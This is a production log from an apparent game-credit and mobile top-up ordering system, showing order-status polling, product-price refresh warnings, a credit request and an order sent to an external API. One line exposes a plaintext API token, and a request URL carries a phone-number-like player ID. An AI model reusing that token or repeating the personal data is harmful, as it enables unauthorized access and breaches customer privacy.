[2026-03-24 01:24:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439,"user_id":220,"notification_type":"order_approved","reference_id":178507} 
[2026-03-24 01:24:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:24:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:24:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439,"processed":1,"errors":0} 
[2026-03-24 01:24:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439,"processed":1,"errors":0} 
[2026-03-24 01:24:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439} 
[2026-03-24 01:24:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 220  
[2026-03-24 01:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 01:25:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 01:25:05] production.INFO: async() رجع: true  
[2026-03-24 01:25:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:25:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:25:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:25:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:25:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:25:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:25:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:25:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:25:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:25:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:25:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:26:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03"} 
[2026-03-24 01:26:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","total_operations":4,"sites_count":1} 
[2026-03-24 01:26:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:26:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:26:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:26:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:26:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:26:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"483c4XDcgCIC3izMHBD6do1ACcDFBteU","execution_time":"2026-03-24 01:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:28:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00"} 
[2026-03-24 01:28:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","total_operations":4,"sites_count":1} 
[2026-03-24 01:28:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:28:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:28:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:28:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:28:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:28:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:28:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:28:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:28:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:28:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"qpcjrYmN3ghUkbi9g1etaGSKAPwmrjQY","execution_time":"2026-03-24 01:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:28:31] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"15.0","mainamount":"15","operation_number":"157917400","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpijq9kq2tq036cNDeJKv"}},"user_id":237} 
[2026-03-24 01:28:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 01:28:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 01:28:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 01:28:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 01:28:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 01:28:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 01:28:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 01:28:33] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 01:28:33] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18595,"user_id":237,"amount":15.0,"admins_notified":7} 
[2026-03-24 01:30:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00"} 
[2026-03-24 01:30:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","total_operations":4,"sites_count":1} 
[2026-03-24 01:30:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:30:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:30:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:30:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:30:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:30:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:30:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:30:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:30:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:30:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CDixCRlKlU3yZO75h4PdAt2i1TNzwExM","execution_time":"2026-03-24 01:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:30:01] production.INFO: Executing GetProducts task...  
[2026-03-24 01:30:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:30:01] production.INFO: Executing GetProducts task...  
[2026-03-24 01:30:03] production.INFO: async() رجع: true  
[2026-03-24 01:30:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:30:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:30:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:30:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:30:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:30:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:30:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:30:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:30:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:30:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:30:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:30:26] production.INFO: Constructing job for order: 178508  
[2026-03-24 01:30:28] production.INFO: Handling job for order: 178508  
[2026-03-24 01:30:28] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 01:30:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:30:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=dd510799-39bb-4f8a-a26f-432b58fa417f&Player_ID=0937906751  
[2026-03-24 01:30:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=dd510799-39bb-4f8a-a26f-432b58fa417f&Player_ID=0937906751","has_body":false} 
[2026-03-24 01:30:29] production.INFO: Operation sent successfully {"operation_id":163440,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lRTZ-1774305029","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 01:30:29"}},"processed_data":{"order_number":"ORD-lRTZ-1774305029","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 01:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02"} 
[2026-03-24 01:32:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","total_operations":5,"sites_count":2} 
[2026-03-24 01:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-lRTZ-1774305029"]} 
[2026-03-24 01:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 01:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 01:32:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:32:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440,"count":1} 
[2026-03-24 01:32:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440,"count":1} 
[2026-03-24 01:32:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440,"user_id":903,"notification_type":"order_approved","reference_id":178508} 
[2026-03-24 01:32:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:32:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:32:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440,"processed":1,"errors":0} 
[2026-03-24 01:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440,"processed":1,"errors":0} 
[2026-03-24 01:32:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"JO3luxVKEqNIWQeyZHyHc3MJCFiaHSSw","execution_time":"2026-03-24 01:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lRTZ-1774305029","operation_id":163440} 
[2026-03-24 01:32:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 01:34:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02"} 
[2026-03-24 01:34:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","total_operations":4,"sites_count":1} 
[2026-03-24 01:34:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:34:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:34:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:34:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:34:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2r89SkaTFeOqCxzTdhJSzJU14uflWBK3","execution_time":"2026-03-24 01:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
